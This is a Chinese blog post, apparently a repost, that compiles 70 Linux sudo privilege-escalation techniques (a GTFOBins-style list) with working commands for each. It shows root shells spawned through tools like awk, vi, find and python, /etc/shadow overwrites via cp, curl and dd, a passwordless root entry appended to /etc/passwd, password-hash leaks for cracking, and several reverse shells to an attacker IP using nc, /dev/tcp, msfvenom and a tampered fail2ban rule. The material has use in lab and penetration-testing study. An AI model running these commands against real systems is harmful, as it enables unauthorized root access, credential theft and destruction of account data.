首页 > 系统相关 >Linux提权-70种sudo提权汇总

Linux提权-70种sudo提权汇总

时间:2024-08-29 20:49:36浏览次数:11  
标签:bin etc sudo 提权 70 shadow root bash

Linux 提权-sudo

命令有 sudo 的权限,我们该如何进行提权呢?

跟着红队笔记大佬,汇总了一下当我们有sudo -l时,70条命令可以提权的sudo风暴

视频连接: https://www.bilibili.com/video/BV1DV4y1U7bT/?share_source=copy_web&vd_source=385653377c3ce2be6b055cc4a2e9c3cf

1) CVE-2019-14287

要求:sudo 版本 <= 1.8.28

sudo -l

看到

(ALL,!root) NOPASSWD:/bin/bash

解释:可以用任何 非root用户 执行 /bin/bash 命令,也就是我们可以切换到任何非 root 用户

执行:

sudo -u#-1 /bin/bash

因为 sudo 算法比较特殊,他会把-1 看成 0,所以我们就获得了 root 的/bin/bash

2)apt

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

启动一个 /bin/bash 会话

3)apache2

sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmk$OXA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::',perhaps misspelled or defined by a module not included in the server configuration

可以看到它会暴露出 /etc/shadow 第一行的信息。

把引号里的 hash 值,拿到去 john 破解,破解出来就可以提权到 root,破解失败就不可以。

4)ash

sudo ash

ash 本身就是一个 shell

5)awk

sudo awk 'BEGIN {system("/bin/bash")}'

传递给 awk,参数执行命令

6)base64

sudo base64 /etc/shadow | base64 -d

可以用 base64 查看 /etc/shadow 文件,之后去破解 hash 值,完成提权

7)bash

sudo bash

8)cp

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

TF=(mktemp)

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > $TF

sudo /usr/bin/cp $TF /etc/shadow

mkpasswd 生成密码的 hash 值,再把密码按照 /etc/shadow 的格式写入 mktemp 临时生成的文件中,在通过 cp 命令覆盖掉原来的 /etc/shadow 文件

需要注意的是:

这种操作是有损的,因为他是覆盖掉我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

9)cpulimit

sudo cpulimit -l 100 -f /bin/bash

10)curl

kali 准备

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > root_shadow

php -S 0:80

靶机执行:

curl http://192.168.84.128/root_shadow -o /etc/shadow

192.168.84.128 是 kali 的 ip 地址,-o 指定覆写文件

需要注意的是:

这种操作是有损的,因为他是覆写我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

11)date

sudo date -f /etc/shadow 

-f 指定从文件中读取时间

报错,但会暴露出 root 用户的 hash 值,把 hash 值复制出来,用 john 破解,破解成功可以提权,破解失败就不可以

12)dd(Data Duplicator)

可以用来进行数据备份、克隆磁盘、创建 ISO 镜像文件等操作。

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' | sudo dd -of=/etc/shadow

需要注意的是:

这种操作是有损的,因为他是覆写我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

13)dstat

它有参数可以指定插件

find / -name dstat -type d 2> /dev/null
/usr/share/dstat

vim dstat_lingx5.py

写入

import os; os.execv("/bin/bash",["bash"])

复制到插件目录

cp dstat_lingx5.py /usr/share/dstat

执行

sudo dstat --lingx5

14)ed

是一个编辑器

sudo /usr/bin/ed
!/bin/bash

进入 ed 编辑模式,用 ! 号告诉系统,启动系统命令

15)env

sudo env /bin/bash

16)exiftool

vi payload

写入

(metadata "\c${system('/bin/bash')};")

执行

bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu

17)expect

sudo expect -c "spawn /bin/bash;interact"

18)fail2ban

Fail2ban 是一款流行的开源入侵防护软件,用于保护服务器免受暴力破解等攻击。它再出发特定的告警后,会执行相应的规则

a) 更改 fail2ban 配置

find / -name "fail2ban*" -type d 2> /dev/null

/etc/fail2ban

查看是否可写

find /etc -wirtable -type d 2> /dev/null

/etc/fail2ban/action.d

我们可以修改 action.d,他是出发告警后,规定执行规则的脚本目录,里边的 iptables-multiports.conf 规定了具体的执行

查看触发规则

vim /etc/fail2ban/jail.conf

执行

mv iptables-multiports.conf iptables-multiports.conf.bak
cp iptables-multiports.conf.bak iptables-multiports.conf

这样 iptables-multiports.conf 这个文件我们就可以编辑了,这个文件的属组就属于我们了

编辑

vi iptables-multiports.conf

# 找到actionban的一行,他是决定我们触发告警后,fail2ban具体要执行命令的
# 改为
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 4444 > /tmp/f

192.168.84.128 是 kali 攻击机

重启服务

sudo fail2ban restart

b) kali 触发告警

先建立监听, 端口与编辑的 actionban 的端口一致

sudo nc -lvnp 4444

连续 5 次,空密码即可 (这里是根据 /etc/fail2ban/jail.conf 文件里的规则确定的)

sudo ssh [email protected]

192.168.84.140 是目标机器

反弹回来的 shell 就是 root 权限

19)find

sudo find / -exec /bin/bash \; -quit

20)flock

sudo flock -u / /bin/bash

21)ftp

sudo ftp
ftp> !/bin/bash

22)gcc

sudo gcc -wrapper /bin/bash,-s .

23)gdb

sudo gdb -nx -ex '!bash' -ex quit

24)git

sudo git branch --help

输入

!/bin/bash

25)gzip/gunzip

gzip -f /etc/shadow -t

拿到 hash 值,用 john 去破解

26)hping3

sudo hping3
hping3> !/bin/bash

27)iftop

sudo iftop
!/bin/bash

28)java

在 kail 中,生成反弹 shell

sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f jar -o shell.jar

192.168.84.128 为 kali 的 ip 地址

建立web服务器

sudo php -S 0:80

# 建立监听
nc -lnvp 4444

在目标机器上下载并执行

wget http://192.168.84.128/shell.jar 

chmod +x shell.jar

sudo java -jar shell.jar

29)jjs

kali中建立监听

sudo -lvnp 4444

在被攻击机输入

echo "java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/192.168.84.128/4444;cat <&5 | while read line; do \$line 2>&5>&5;done']).waitFor()" | sudo jjs

反弹回来执行,想要提高交互性,我们就在反弹一次

# kali中监听
nc -lvnp 5555

# 4444弹回来的shell执行
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 5555 > /tmp/f

30)journalctl

sudo journalctl
!/bin/bash

31)knife

sudo knife exec -E 'exec "/bin/bash"'

32)less

mktemp ./a
rtcpgt
sudo less rtcpgt

# 输入
!/bin/bash

33)man

sudo man ls
!/bin/bash

34)more

mktemp ./a
rtcpgt

yes root > rtcpgt
sudo more rtcpgt
!/bin/bash

35)mount

sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount

36)mysql

sudo mysql -e '\! /bin/bash'

37)nano

sudo nano
^R
^X
reset;bash 1>&0 2>&0

多按几次回车

38)neofetch

TP=$(mktemp)
echo 'exec /bin/bash' > $TP
sudo neofetch --config $TP

39)nice

sudo nice /bin/bash

40)nmap

TP=$(mktemp)
ehco 'os.execute("/bin/bash")' > $TP
sudo nmap --script=$TP

41)node

sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"

42)nohub

sudo nohub /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

43)openvpn

sudo openvpn --config /etc/shadow

拿到hash值,到john破解

44)passwd

sudo passwd root
123456

45)perl

sudo perl -e 'exec "/bin/bash";'

46) php

sudo php -r "system('/bin/bash');"

47)pico

sudo pico
^R
^X
reset;bash 1>&0 2>&0

多按几次回车

48)pkexec

sudo pkexec /bin/bash

49)python3

sudo python3 -c "import os;os.system('/bin/bash')"

50)rvim

sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'

51)scp

TP=$(mktemp)
echo 'bash 0<&2 1<&2' > $TP
chmod $TP
sudo scp -S $TP x y:

52)screen

sudo screen

按回车

53)script

sudo script -q /dev/null

54)sed

sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts

55)service

sudo service ../../bin/bash 

56)socat

sudo socat stdin exec:/bin/bash

57)ssh

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

58)ssh-keygen

vim temp.c

写入

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

编译

gcc -shared -fPIC -o temp.so temp.c

提权

sudo ssh-keygen -D ./temp.so

59)strace

sudo strace -o /dev/null /bin/bash

60)systemctl

sudo systemctl
!/bin/bash

61)tcpdump

vim temp.sh

写入

mknod temp_pipe p && /bin/nc 192.168.84.128 4444 0<temp_pipe | /bin/bash 1>temp_pipe

kali建立监听

sudo nc -lvnp 4444

执行

chmod +x temp.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root

62)tee

echo 'lingx5::0:0:root:root:/usr/bin/bash' | sudo tee -a /etc/passwd
su lingx5

63)timedatectl

sudo timedatectl list-timezones
!/bin/bash

64)tmux

sudo tmux

65)vi

sudo vi
:!/bin/bash

sudo vi -c ':/bin/bash'

66)wall

sudo wall /etc/shadow

看到hash,用john破解

67)watch

sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

68)wget

TP=$(mktemp)
chmod +x $TP
echo '/bin/bash 1>&0 ' > $TP
sudo wget --use-askpass=$TP 0

69)zip

sudo zip foo /etc/hostname -T -TT 'bash #'

70)xxd

sudo xxd /etc/shadow | xxd -r

拿到hash值,去john破解

标签:bin,etc,sudo,提权,70,shadow,root,bash
From: https://www.cnblogs.com/LINGX5/p/18387520

相关文章

  • AT_arc170_b 的题解
    (一)因为\(a_i\)较小,那么可以对每一个\(i\),求出它右边离他最近的值为\(j\)的位置。枚举左端点和中间那个数\(a_j\),那么可以求出最小的\(k\)。这样就求出了每个左端点可以取到的最小的\(k\),记为\(b_i\)再从右到左\(b_i=\min(b_i,b_{i+1})\)。(二)AC代码。#include<bi......
  • 代码随想录算法训练营,29日 | 704. 二分查找,27. 移除元素,977.有序数组的平方,209.长度最
    数组基础文档讲解︰代码随想录(programmercarl.com)1.连续空间、相同类型元素2.元素只能覆盖3.二维数组的地址连续吗(C++连续,Java不连续)704.二分查找题目链接:704.二分查找文档讲解︰代码随想录(programmercarl.com)视频讲解︰二分查找日期:2024-08-29思路:第一反应是想到二分查......
  • 从 7000 余项目脱颖而出,飞轮科技《新一代实时分析数据仓库解决方案》荣获 HICOOL 2024
    HICOOL2024全球创业者峰会于2024年8月23日-25日在中国国际展览中心(顺义馆)成功举行,峰会以“新质引领创新共融”为主题,聚焦技术创新、产业融合、新质共享与国际合作四大要素。在8月23日晚的峰会开幕式上,举行HICOOL2024全球创业大赛颁奖盛典,共颁发一等奖12个、二......
  • 招联金融基于 Apache Doris 数仓升级:单集群 QPS 超 10w,存储成本降低 70%
    在竞争激烈的消费金融市场中,有效利用海量数据、提升业务运营效率是赢得市场的关键。早期招联采用典型的Lambda架构提供业务报表、数据运营、个性推荐、风险控制等数据服务,而Lambda过多的技术栈也引发了数据孤岛、查询效率不足、代码复用性差以及开发运维成本高昂等诸多问题。因......
  • P7075 [CSP-S2020] 儒略日 题解
    P7075[CSP-S2020]儒略日题面:题目描述为了简便计算,天文学家们使用儒略日(Julianday)来表达时间。所谓儒略日,其定义为从公元前4713年1月1日正午12点到此后某一时刻间所经过的天数,不满一天者用小数表达。若利用这一天文学历法,则每一个时刻都将被均匀的映射到数轴......
  • WEB渗透Win提权篇-提权工具合集
      提权工具合集包(免费分享): 夸克网盘分享 往期文章WEB渗透Win提权篇-提权工具合集-CSDN博客WEB渗透Win提权篇-RDP&Firewall-CSDN博客WEB渗透Win提权篇-MSSQL-CSDN博客WEB渗透Win提权篇-MYSQL-udf-CSDN博客WEB渗透Win提权篇-AccountSpoofing-CSDN博客WEB渗透Win提权篇......
  • 代码随想录算法训练营第一天 | 数组part01:数组理论基础,704. 二分查找,27. 移除元素 97
    数组理论基础数组是存放在连续内存空间上的相同类型数据的集合数组徐璈注意的是:数组的下标都是从0开始的数组内存空间是的地址是连续的正因为舒适的内存空间是连续的,所以在删除和增添元素的时候,需要移动其他元素的地址。在c++中,vector的底层实现是array,严格来说,vector是容......
  • linux中,解决使用sudo时,自定义path路径不生效的问题
    问题当我们在非root用户下,需要使用root权限的时候,通常在前面加sudo就可以了但是,今天遇到了一个小问题,就是我明明已经配置了go的bin目录在PATH变量中,还是配置在/etc/profile中,在root用户下,是可以执行go命令的按理说,用sudogo应该也是没问题的但是,我发现,当我......
  • [开题]flask框架医院设备管理系统1704r9(程序+论文+python)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着医疗技术的飞速发展,医院设备日益增多且种类繁杂,传统的设备管理方式已难以满足现代医院高效运营的需求。设备管理涉及设备采购、领用、......
  • 代码随想录算法训练营第二十天| 235. 二叉搜索树的最近公共祖先 701.二叉搜索树中的插
    235.二叉搜索树的最近公共祖先不想动脑子,沿用了普通二叉树的最近公共祖先,和昨天那题一样classSolution{public:TreeNode*lowestCommonAncestor(TreeNode*root,TreeNode*p,TreeNode*q){if(root==NULL||root==p||root==q)returnroot;......